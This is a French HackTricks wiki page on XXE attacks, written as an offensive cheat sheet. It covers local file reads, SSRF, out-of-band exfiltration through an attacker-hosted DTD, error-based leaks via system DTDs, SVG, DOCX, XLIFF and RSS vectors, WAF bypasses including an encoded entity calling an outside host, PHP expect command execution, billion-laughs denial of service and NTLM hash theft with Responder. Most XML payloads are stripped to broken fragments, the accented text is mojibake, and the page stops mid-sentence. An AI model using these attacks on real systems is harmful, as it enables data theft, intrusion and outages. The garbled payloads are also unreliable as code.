# XXE - XEE - XML External Entity {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐩 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
{% embed url="https://websec.nl/" %} ## XML Basics XML est un langage de balisage conçu pour le stockage et le transport de donnĂ©es, avec une structure flexible qui permet l'utilisation de balises nommĂ©es de maniĂšre descriptive. Il diffĂšre de HTML en n'Ă©tant pas limitĂ© Ă  un ensemble de balises prĂ©dĂ©finies. L'importance de XML a diminuĂ© avec l'essor de JSON, malgrĂ© son rĂŽle initial dans la technologie AJAX. * **ReprĂ©sentation des donnĂ©es Ă  travers des entitĂ©s** : Les entitĂ©s dans XML permettent la reprĂ©sentation de donnĂ©es, y compris des caractĂšres spĂ©ciaux comme `<` et `>`, qui correspondent Ă  `<` et `>` pour Ă©viter les conflits avec le systĂšme de balises XML. * **DĂ©finition des Ă©lĂ©ments XML** : XML permet de dĂ©finir des types d'Ă©lĂ©ments, dĂ©crivant comment les Ă©lĂ©ments doivent ĂȘtre structurĂ©s et quel contenu ils peuvent contenir, allant de tout type de contenu Ă  des Ă©lĂ©ments enfants spĂ©cifiques. * **DĂ©finition de type de document (DTD)** : Les DTD sont cruciaux dans XML pour dĂ©finir la structure du document et les types de donnĂ©es qu'il peut contenir. Ils peuvent ĂȘtre internes, externes ou une combinaison, guidant la façon dont les documents sont formatĂ©s et validĂ©s. * **EntitĂ©s personnalisĂ©es et externes** : XML prend en charge la crĂ©ation d'entitĂ©s personnalisĂ©es au sein d'un DTD pour une reprĂ©sentation flexible des donnĂ©es. Les entitĂ©s externes, dĂ©finies avec une URL, soulĂšvent des prĂ©occupations de sĂ©curitĂ©, en particulier dans le contexte des attaques XML External Entity (XXE), qui exploitent la façon dont les analyseurs XML gĂšrent les sources de donnĂ©es externes : ` ]>` * **DĂ©tection XXE avec des entitĂ©s de paramĂštre** : Pour dĂ©tecter les vulnĂ©rabilitĂ©s XXE, surtout lorsque les mĂ©thodes conventionnelles Ă©chouent en raison des mesures de sĂ©curitĂ© des analyseurs, des entitĂ©s de paramĂštre XML peuvent ĂȘtre utilisĂ©es. Ces entitĂ©s permettent des techniques de dĂ©tection hors bande, telles que le dĂ©clenchement de requĂȘtes DNS ou HTTP vers un domaine contrĂŽlĂ©, pour confirmer la vulnĂ©rabilitĂ©. * ` ]>` * ` ]>` ## Main attacks [**La plupart de ces attaques ont Ă©tĂ© testĂ©es en utilisant les incroyables laboratoires XEE de Portswiggers : https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe) ### New Entity test Dans cette attaque, je vais tester si une simple dĂ©claration de nouvelle ENTITÉ fonctionne. ```xml ]> &toreplace; 1 ``` ![](<../.gitbook/assets/image (870).png>) ### Lire le fichier Essayons de lire `/etc/passwd` de diffĂ©rentes maniĂšres. Pour Windows, vous pourriez essayer de lire : `C:\windows\system32\drivers\etc\hosts` Dans ce premier cas, notez que SYSTEM "_\*\*file:///\*\*etc/passwd_" fonctionnera Ă©galement. ```xml ]> &example; ``` ![](<../.gitbook/assets/image (86).png>) Ce deuxiĂšme cas devrait ĂȘtre utile pour extraire un fichier si le serveur web utilise PHP (Ce n'est pas le cas des laboratoires Portswiggers) ```xml ]> &example; ``` Dans ce troisiĂšme cas, notez que nous dĂ©clarons l'`Element stockCheck` comme ANY. ```xml ]> &file; 1 ``` ![](<../.gitbook/assets/image (753).png>) ### Liste de rĂ©pertoires Dans les applications basĂ©es sur **Java**, il peut ĂȘtre possible de **lister le contenu d'un rĂ©pertoire** via XXE avec un payload comme (demander simplement le rĂ©pertoire au lieu du fichier) : ```xml ]>&xxe; ]>&xxe; ``` ### SSRF Une XXE pourrait ĂȘtre utilisĂ©e pour abuser d'un SSRF Ă  l'intĂ©rieur d'un cloud ```xml ]> &xxe;1 ``` ### Blind SSRF En utilisant la **technique prĂ©cĂ©demment commentĂ©e**, vous pouvez amener le serveur Ă  accĂ©der Ă  un serveur que vous contrĂŽlez pour montrer qu'il est vulnĂ©rable. Mais, si cela ne fonctionne pas, c'est peut-ĂȘtre parce que **les entitĂ©s XML ne sont pas autorisĂ©es**, dans ce cas, vous pourriez essayer d'utiliser **les entitĂ©s de paramĂštres XML** : ```xml %xxe; ]> 3;1 ``` ### "Blind" SSRF - Exfiltrer des donnĂ©es hors bande **Dans ce cas, nous allons faire en sorte que le serveur charge un nouveau DTD avec un payload malveillant qui enverra le contenu d'un fichier via une requĂȘte HTTP (pour les fichiers multi-lignes, vous pourriez essayer de l'exfiltrer via \_ftp://**\_ en utilisant ce serveur de base par exemple [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Cette explication est basĂ©e sur** [**le laboratoire Portswigger ici**](https://portswigger.net/web-security/xxe/blind)**.** Dans le DTD malveillant donnĂ©, une sĂ©rie d'Ă©tapes sont effectuĂ©es pour exfiltrer des donnĂ©es : ### Exemple de DTD malveillant : La structure est la suivante : ```xml "> %eval; %exfiltrate; ``` Les Ă©tapes exĂ©cutĂ©es par ce DTD incluent : 1. **DĂ©finition des entitĂ©s de paramĂštre :** * Une entitĂ© de paramĂštre XML, `%file`, est crĂ©Ă©e, lisant le contenu du fichier `/etc/hostname`. * Une autre entitĂ© de paramĂštre XML, `%eval`, est dĂ©finie. Elle dĂ©clare dynamiquement une nouvelle entitĂ© de paramĂštre XML, `%exfiltrate`. L'entitĂ© `%exfiltrate` est configurĂ©e pour effectuer une requĂȘte HTTP vers le serveur de l'attaquant, passant le contenu de l'entitĂ© `%file` dans la chaĂźne de requĂȘte de l'URL. 2. **ExĂ©cution des entitĂ©s :** * L'entitĂ© `%eval` est utilisĂ©e, conduisant Ă  l'exĂ©cution de la dĂ©claration dynamique de l'entitĂ© `%exfiltrate`. * L'entitĂ© `%exfiltrate` est ensuite utilisĂ©e, dĂ©clenchant une requĂȘte HTTP vers l'URL spĂ©cifiĂ©e avec le contenu du fichier. L'attaquant hĂ©berge ce DTD malveillant sur un serveur sous son contrĂŽle, gĂ©nĂ©ralement Ă  une URL comme `http://web-attacker.com/malicious.dtd`. **Charge utile XXE :** Pour exploiter une application vulnĂ©rable, l'attaquant envoie une charge utile XXE : ```xml %xxe;]> 3;1 ``` Ce payload dĂ©finit une entitĂ© de paramĂštre XML `%xxe` et l'incorpore dans le DTD. Lorsqu'il est traitĂ© par un analyseur XML, ce payload rĂ©cupĂšre le DTD externe depuis le serveur de l'attaquant. L'analyseur interprĂšte ensuite le DTD en ligne, exĂ©cutant les Ă©tapes dĂ©crites dans le DTD malveillant et conduisant Ă  l'exfiltration du fichier `/etc/hostname` vers le serveur de l'attaquant. ### BasĂ© sur l'erreur (DTD externe) **Dans ce cas, nous allons faire en sorte que le serveur charge un DTD malveillant qui affichera le contenu d'un fichier dans un message d'erreur (cela n'est valide que si vous pouvez voir les messages d'erreur).** [**Exemple ici.**](https://portswigger.net/web-security/xxe/blind) Un message d'erreur d'analyse XML, rĂ©vĂ©lant le contenu du fichier `/etc/passwd`, peut ĂȘtre dĂ©clenchĂ© en utilisant un Document Type Definition (DTD) externe malveillant. Cela se fait par les Ă©tapes suivantes : 1. Une entitĂ© de paramĂštre XML nommĂ©e `file` est dĂ©finie, contenant le contenu du fichier `/etc/passwd`. 2. Une entitĂ© de paramĂštre XML nommĂ©e `eval` est dĂ©finie, incorporant une dĂ©claration dynamique pour une autre entitĂ© de paramĂštre XML nommĂ©e `error`. Cette entitĂ© `error`, lorsqu'elle est Ă©valuĂ©e, tente de charger un fichier inexistant, incorporant le contenu de l'entitĂ© `file` comme son nom. 3. L'entitĂ© `eval` est invoquĂ©e, conduisant Ă  la dĂ©claration dynamique de l'entitĂ© `error`. 4. L'invocation de l'entitĂ© `error` entraĂźne une tentative de chargement d'un fichier inexistant, produisant un message d'erreur qui inclut le contenu du fichier `/etc/passwd` comme partie du nom de fichier. Le DTD externe malveillant peut ĂȘtre invoquĂ© avec le XML suivant : ```xml %xxe;]> 3;1 ``` Upon execution, the web server's response should include an error message displaying the contents of the `/etc/passwd` file. ![](<../.gitbook/assets/image (809).png>) _**Veuillez noter que le DTD externe nous permet d'inclure une entitĂ© Ă  l'intĂ©rieur de la seconde (****`eval`****), mais cela est interdit dans le DTD interne. Par consĂ©quent, vous ne pouvez pas forcer une erreur sans utiliser un DTD externe (gĂ©nĂ©ralement).**_ ### **BasĂ© sur l'erreur (DTD systĂšme)** Alors que dire des vulnĂ©rabilitĂ©s XXE aveugles lorsque **les interactions hors bande sont bloquĂ©es** (les connexions externes ne sont pas disponibles) ? Une faille dans la spĂ©cification du langage XML peut **exposer des donnĂ©es sensibles Ă  travers des messages d'erreur lorsque le DTD d'un document mĂ©lange des dĂ©clarations internes et externes**. Ce problĂšme permet la redĂ©finition interne d'entitĂ©s dĂ©clarĂ©es externes, facilitant l'exĂ©cution d'attaques XXE basĂ©es sur des erreurs. De telles attaques exploitent la redĂ©finition d'une entitĂ© de paramĂštre XML, initialement dĂ©clarĂ©e dans un DTD externe, depuis un DTD interne. Lorsque les connexions hors bande sont bloquĂ©es par le serveur, les attaquants doivent s'appuyer sur des fichiers DTD locaux pour mener l'attaque, visant Ă  induire une erreur de parsing pour rĂ©vĂ©ler des informations sensibles. ConsidĂ©rez un scĂ©nario oĂč le systĂšme de fichiers du serveur contient un fichier DTD Ă  `/usr/local/app/schema.dtd`, dĂ©finissant une entitĂ© nommĂ©e `custom_entity`. Un attaquant peut induire une erreur de parsing XML rĂ©vĂ©lant le contenu du fichier `/etc/passwd` en soumettant un DTD hybride comme suit : ```xml "> %eval; %error; '> %local_dtd; ]> ``` Les Ă©tapes dĂ©crites sont exĂ©cutĂ©es par ce DTD : * La dĂ©finition d'une entitĂ© de paramĂštre XML nommĂ©e `local_dtd` inclut le fichier DTD externe situĂ© sur le systĂšme de fichiers du serveur. * Une redĂ©finition se produit pour l'entitĂ© de paramĂštre XML `custom_entity`, initialement dĂ©finie dans le DTD externe, pour encapsuler un [exploit XXE basĂ© sur une erreur](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Cette redĂ©finition est conçue pour provoquer une erreur de parsing, exposant le contenu du fichier `/etc/passwd`. * En utilisant l'entitĂ© `local_dtd`, le DTD externe est engagĂ©, englobant la nouvelle entitĂ© dĂ©finie `custom_entity`. Cette sĂ©quence d'actions prĂ©cipite l'Ă©mission du message d'erreur visĂ© par l'exploit. **Exemple du monde rĂ©el :** Les systĂšmes utilisant l'environnement de bureau GNOME ont souvent un DTD Ă  `/usr/share/yelp/dtd/docbookx.dtd` contenant une entitĂ© appelĂ©e `ISOamso`. ```xml "> %eval; %error; '> %local_dtd; ]> 3;1 ``` ![](<../.gitbook/assets/image (625).png>) Comme cette technique utilise un **DTD interne, vous devez d'abord en trouver un valide**. Vous pouvez le faire en **installant** le mĂȘme **OS / logiciel** que celui utilisĂ© par le serveur et en **cherchant quelques DTD par dĂ©faut**, ou en **rĂ©cupĂ©rant une liste** de **DTD par dĂ©faut** dans les systĂšmes et en **vĂ©rifiant** si l'un d'eux existe : ```xml %local_dtd; ]> ``` Pour plus d'informations, consultez [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind) ### Trouver des DTD dans le systĂšme Dans le superbe dĂ©pĂŽt github suivant, vous pouvez trouver **des chemins de DTD qui peuvent ĂȘtre prĂ©sents dans le systĂšme** : {% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %} De plus, si vous avez **l'image Docker du systĂšme victime**, vous pouvez utiliser l'outil du mĂȘme dĂ©pĂŽt pour **scanner** l'**image** et **trouver** le chemin des **DTD** prĂ©sents dans le systĂšme. Lisez le [Readme du github](https://github.com/GoSecure/dtd-finder) pour apprendre comment. ```bash java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar Scanning TAR file /tmp/dadocker.tar [=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd Testing 0 entities : [] [=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd Testing 0 entities : [] ``` ### XXE via Office Open XML Parsers Pour une explication plus approfondie de cette attaque, **consultez la deuxiĂšme section de** [**ce post incroyable**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **de Detectify**. La capacitĂ© de **tĂ©lĂ©charger des documents Microsoft Office est offerte par de nombreuses applications web**, qui procĂšdent ensuite Ă  l'extraction de certains dĂ©tails de ces documents. Par exemple, une application web peut permettre aux utilisateurs d'importer des donnĂ©es en tĂ©lĂ©chargeant un tableau au format XLSX. Pour que le parseur puisse extraire les donnĂ©es du tableau, il devra inĂ©vitablement analyser au moins un fichier XML. Pour tester cette vulnĂ©rabilitĂ©, il est nĂ©cessaire de crĂ©er un **fichier Microsoft Office contenant un payload XXE**. La premiĂšre Ă©tape consiste Ă  crĂ©er un rĂ©pertoire vide dans lequel le document peut ĂȘtre dĂ©compressĂ©. Une fois le document dĂ©compressĂ©, le fichier XML situĂ© Ă  `./unzipped/word/document.xml` doit ĂȘtre ouvert et modifiĂ© dans un Ă©diteur de texte prĂ©fĂ©rĂ© (comme vim). Le XML doit ĂȘtre modifiĂ© pour inclure le payload XXE souhaitĂ©, commençant souvent par une requĂȘte HTTP. Les lignes XML modifiĂ©es doivent ĂȘtre insĂ©rĂ©es entre les deux objets XML racines. Il est important de remplacer l'URL par une URL surveillable pour les requĂȘtes. Enfin, le fichier peut ĂȘtre compressĂ© pour crĂ©er le fichier malveillant poc.docx. À partir du rĂ©pertoire "unzipped" prĂ©cĂ©demment crĂ©Ă©, la commande suivante doit ĂȘtre exĂ©cutĂ©e : Maintenant, le fichier crĂ©Ă© peut ĂȘtre tĂ©lĂ©chargĂ© sur l'application web potentiellement vulnĂ©rable, et on peut espĂ©rer qu'une requĂȘte apparaisse dans les journaux de Burp Collaborator. ### Jar: protocol Le **protocole jar** est accessible exclusivement au sein des **applications Java**. Il est conçu pour permettre l'accĂšs aux fichiers dans une **archive PKZIP** (par exemple, `.zip`, `.jar`, etc.), s'adressant Ă  la fois aux fichiers locaux et distants. ``` jar:file:///var/myarchive.zip!/file.txt jar:https://download.host.com/myarchive.zip!/file.txt ``` {% hint style="danger" %} Pour pouvoir accĂ©der aux fichiers Ă  l'intĂ©rieur des fichiers PKZIP est **super utile pour abuser de XXE via des fichiers DTD systĂšme.** Consultez [cette section pour apprendre Ă  abuser des fichiers DTD systĂšme](xxe-xee-xml-external-entity.md#error-based-system-dtd). {% endhint %} Le processus pour accĂ©der Ă  un fichier dans une archive PKZIP via le protocole jar implique plusieurs Ă©tapes : 1. Une requĂȘte HTTP est faite pour tĂ©lĂ©charger l'archive zip depuis un emplacement spĂ©cifiĂ©, tel que `https://download.website.com/archive.zip`. 2. La rĂ©ponse HTTP contenant l'archive est stockĂ©e temporairement sur le systĂšme, gĂ©nĂ©ralement dans un emplacement comme `/tmp/...`. 3. L'archive est ensuite extraite pour accĂ©der Ă  son contenu. 4. Le fichier spĂ©cifique dans l'archive, `file.zip`, est lu. 5. AprĂšs l'opĂ©ration, tous les fichiers temporaires crĂ©Ă©s pendant ce processus sont supprimĂ©s. Une technique intĂ©ressante pour interrompre ce processus Ă  la deuxiĂšme Ă©tape consiste Ă  maintenir la connexion serveur ouverte indĂ©finiment lors de la fourniture du fichier d'archive. Des outils disponibles dans [ce dĂ©pĂŽt](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution) peuvent ĂȘtre utilisĂ©s Ă  cet effet, y compris un serveur Python (`slow_http_server.py`) et un serveur Java (`slowserver.jar`). ```xml ]> &xxe; ``` {% hint style="danger" %} Écrire des fichiers dans un rĂ©pertoire temporaire peut aider Ă  **escalader une autre vulnĂ©rabilitĂ© qui implique un parcours de chemin** (comme l'inclusion de fichiers locaux, l'injection de modĂšles, RCE XSLT, dĂ©sĂ©rialisation, etc). {% endhint %} ### XSS ```xml script]]>alert(1)/script]]> ``` ### DoS #### Attaque des Milliards de Rires ```xml ]> &a4; ``` #### Attaque Yaml ```xml a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"] b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a] c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b] d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c] e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d] f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e] g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f] h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g] i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h] ``` #### Attaque de Blowup Quadratique ![](<../.gitbook/assets/image (527).png>) #### Obtention de NTML Sur les hĂŽtes Windows, il est possible d'obtenir le hachage NTML de l'utilisateur du serveur web en configurant un gestionnaire responder.py : ```bash Responder.py -I eth0 -v ``` et en envoyant la requĂȘte suivante ```xml ]> &example; ``` Then you can try to crack the hash using hashcat ## Hidden XXE Surfaces ### XInclude Lors de l'intĂ©gration des donnĂ©es client dans des documents XML cĂŽtĂ© serveur, comme ceux des requĂȘtes SOAP en backend, le contrĂŽle direct sur la structure XML est souvent limitĂ©, entravant les attaques XXE traditionnelles en raison des restrictions sur la modification de l'Ă©lĂ©ment `DOCTYPE`. Cependant, une attaque `XInclude` offre une solution en permettant l'insertion d'entitĂ©s externes dans n'importe quel Ă©lĂ©ment de donnĂ©es du document XML. Cette mĂ©thode est efficace mĂȘme lorsque seule une partie des donnĂ©es d'un document XML gĂ©nĂ©rĂ© par le serveur peut ĂȘtre contrĂŽlĂ©e. Pour exĂ©cuter une attaque `XInclude`, l'espace de noms `XInclude` doit ĂȘtre dĂ©clarĂ©, et le chemin du fichier pour l'entitĂ© externe prĂ©vue doit ĂȘtre spĂ©cifiĂ©. Ci-dessous se trouve un exemple succinct de la façon dont une telle attaque peut ĂȘtre formulĂ©e : ```xml productId=&storeId=1 ``` Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) for more info! ### SVG - TĂ©lĂ©chargement de fichiers Les fichiers tĂ©lĂ©chargĂ©s par les utilisateurs vers certaines applications, qui sont ensuite traitĂ©s sur le serveur, peuvent exploiter des vulnĂ©rabilitĂ©s dans la maniĂšre dont les fichiers XML ou les formats de fichiers contenant XML sont gĂ©rĂ©s. Des formats de fichiers courants comme les documents bureautiques (DOCX) et les images (SVG) sont basĂ©s sur XML. Lorsque les utilisateurs **tĂ©lĂ©chargent des images**, ces images sont traitĂ©es ou validĂ©es cĂŽtĂ© serveur. MĂȘme pour les applications s'attendant Ă  des formats tels que PNG ou JPEG, la **bibliothĂšque de traitement d'images du serveur peut Ă©galement prendre en charge les images SVG**. SVG, Ă©tant un format basĂ© sur XML, peut ĂȘtre exploitĂ© par des attaquants pour soumettre des images SVG malveillantes, exposant ainsi le serveur Ă  des vulnĂ©rabilitĂ©s XXE (XML External Entity). Un exemple d'un tel exploit est montrĂ© ci-dessous, oĂč une image SVG malveillante tente de lire des fichiers systĂšme : ```xml ``` Une autre mĂ©thode consiste Ă  **exĂ©cuter des commandes** via le wrapper PHP "expect" : ```xml ``` Dans les deux cas, le format SVG est utilisĂ© pour lancer des attaques qui exploitent les capacitĂ©s de traitement XML du logiciel du serveur, soulignant la nĂ©cessitĂ© d'une validation des entrĂ©es robuste et de mesures de sĂ©curitĂ©. VĂ©rifiez [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) pour plus d'infos ! **Notez que la premiĂšre ligne du fichier lu ou du rĂ©sultat de l'exĂ©cution apparaĂźtra DANS l'image crĂ©Ă©e. Vous devez donc ĂȘtre en mesure d'accĂ©der Ă  l'image que SVG a crĂ©Ă©e.** ### **PDF - TĂ©lĂ©chargement de fichier** Lisez le post suivant pour **apprendre Ă  exploiter un XXE en tĂ©lĂ©chargeant un fichier PDF** : {% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %} [pdf-upload-xxe-and-cors-bypass.md](file-upload/pdf-upload-xxe-and-cors-bypass.md) {% endcontent-ref %} ### Content-Type : De x-www-urlencoded Ă  XML Si une requĂȘte POST accepte les donnĂ©es au format XML, vous pourriez essayer d'exploiter un XXE dans cette requĂȘte. Par exemple, si une requĂȘte normale contient ce qui suit : ```xml POST /action HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 7 foo=bar ``` Alors vous pourriez ĂȘtre en mesure de soumettre la requĂȘte suivante, avec le mĂȘme rĂ©sultat : ```xml POST /action HTTP/1.0 Content-Type: text/xml Content-Length: 52 bar ``` ### Content-Type : De JSON Ă  XEE Pour modifier la requĂȘte, vous pouvez utiliser une extension Burp nommĂ©e “**Content Type Converter**“. [Ici](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) vous pouvez trouver cet exemple : ```xml Content-Type: application/json;charset=UTF-8 {"root": {"root": { "firstName": "Avinash", "lastName": "", "country": "United States", "city": "ddd", "postalCode": "ddd" }}} ``` ```xml Content-Type: application/xml;charset=UTF-8 ]> &xxe; United States ddd ddd ``` Un autre exemple peut ĂȘtre trouvĂ© [ici](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2). ## Bypasses de WAF et protections ### Base64 ```xml %init; ]> ``` Cela ne fonctionne que si le serveur XML accepte le protocole `data://`. ### UTF-7 Vous pouvez utiliser la \[**"Encode Recipe**" de cyberchef ici ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) pour transformer en UTF-7. ```xml +ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4- ``` ```xml +ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4 +ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+ +ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4 ``` ### File:/ Protocol Bypass Si le web utilise PHP, au lieu d'utiliser `file:/` vous pouvez utiliser **php wrappers**`php://filter/convert.base64-encode/resource=` pour **accĂ©der aux fichiers internes**. Si le web utilise Java, vous pouvez vĂ©rifier le [**jar: protocol**](xxe-xee-xml-external-entity.md#jar-protocol). ### HTML Entities Astuce de [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\ Vous pouvez crĂ©er une **entitĂ© Ă  l'intĂ©rieur d'une entitĂ©** en l'encoding avec **html entities** et ensuite l'appeler pour **charger un dtd**.\ Notez que les **HTML Entities** utilisĂ©es doivent ĂȘtre **numĂ©riques** (comme \[dans cet exemple]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C)). ```xml %a;%dtd;]> &exfil; ``` Exemple de DTD : ```xml "> %abt; %exfil; ``` ## PHP Wrappers ### Base64 **Extraire** _**index.php**_ ```xml ]> ``` #### **Extraire une ressource externe** ```xml ]> ``` ### ExĂ©cution de code Ă  distance **Si le module "expect" de PHP est chargĂ©** ```xml ]> &xxe; mypass ``` ## **SOAP - XEE** ```xml %dtd;]>]]> ``` ## XLIFF - XXE Cet exemple est inspirĂ© de [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe) XLIFF (XML Localization Interchange File Format) est utilisĂ© pour standardiser l'Ă©change de donnĂ©es dans les processus de localisation. C'est un format basĂ© sur XML principalement utilisĂ© pour transfĂ©rer des donnĂ©es localisables entre des outils lors de la localisation et comme format d'Ă©change commun pour les outils CAT (Computer-Aided Translation). ### Analyse de la demande aveugle Une demande est faite au serveur avec le contenu suivant : ```xml ------WebKitFormBoundaryqBdAsEtYaBjTArl3 Content-Disposition: form-data; name="file"; filename="xxe.xliff" Content-Type: application/x-xliff+xml %remote; ]> ------WebKitFormBoundaryqBdAsEtYaBjTArl3-- ``` Cependant, cette requĂȘte dĂ©clenche une erreur interne du serveur, mentionnant spĂ©cifiquement un problĂšme avec les dĂ©clarations de balisage : ```json {"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."} ``` MalgrĂ© l'erreur, un hit est enregistrĂ© sur Burp Collaborator, indiquant un certain niveau d'interaction avec l'entitĂ© externe. Exfiltration de donnĂ©es hors bande Pour exfiltrer des donnĂ©es, une requĂȘte modifiĂ©e est envoyĂ©e : ``` ------WebKitFormBoundaryqBdAsEtYaBjTArl3 Content-Disposition: form-data; name="file"; filename="xxe.xliff" Content-Type: application/x-xliff+xml %remote; ]> ------WebKitFormBoundaryqBdAsEtYaBjTArl3-- ``` Cette approche rĂ©vĂšle que l'Agent Utilisateur indique l'utilisation de Java 1.8. Une limitation notĂ©e avec cette version de Java est l'incapacitĂ© Ă  rĂ©cupĂ©rer des fichiers contenant un caractĂšre de nouvelle ligne, tel que /etc/passwd, en utilisant la technique Out of Band. Exfiltration de donnĂ©es basĂ©e sur les erreurs Pour surmonter cette limitation, une approche basĂ©e sur les erreurs est employĂ©e. Le fichier DTD est structurĂ© comme suit pour dĂ©clencher une erreur qui inclut des donnĂ©es d'un fichier cible : ```xml "> %foo; %xxe; ``` Le serveur rĂ©pond avec une erreur, reflĂ©tant de maniĂšre importante le fichier inexistant, indiquant que le serveur tente d'accĂ©der au fichier spĂ©cifiĂ© : ```javascript {"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"} ``` Pour inclure le contenu du fichier dans le message d'erreur, le fichier DTD est ajustĂ© : ```xml "> %foo; %xxe; ``` Cette modification conduit Ă  l'exfiltration rĂ©ussie du contenu du fichier, comme cela est reflĂ©tĂ© dans la sortie d'erreur envoyĂ©e via HTTP. Cela indique une attaque XXE (XML External Entity) rĂ©ussie, utilisant Ă  la fois des techniques Out of Band et Error-Based pour extraire des informations sensibles. ## RSS - XEE XML valide au format RSS pour exploiter une vulnĂ©rabilitĂ© XXE. ### Ping back Demande HTTP simple au serveur des attaquants. ```xml /rssXXE" >]> XXE Test Blog http://example.com/ XXE Test Blog Mon, 02 Feb 2015 00:00:00 -0000 &xxe; http://example.com Test Post author@example.com Mon, 02 Feb 2015 00:00:00 -0000 ``` ### Lire le fichier ```xml ]> The Blog http://example.com/ A blog about things Mon, 03 Feb 2014 00:00:00 -0000 &xxe; http://example.com a post author@example.com Mon, 03 Feb 2014 00:00:00 -0000 ``` ### Lire le code source Utiliser le filtre base64 de PHP ```xml ]> The Blog http://example.com/ A blog about things Mon, 03 Feb 2014 00:00:00 -0000 &xxe; http://example.com a post author@example.com Mon, 03 Feb 2014 00:00:00 -0000 ``` ## Java XMLDecoder XEE to RCE XMLDecoder est une classe Java qui crĂ©e des objets basĂ©s sur un message XML. Si un utilisateur malveillant parvient Ă  amener une application Ă  utiliser des donnĂ©es arbitraires dans un appel Ă  la mĂ©thode **readObject**, il obtiendra instantanĂ©ment 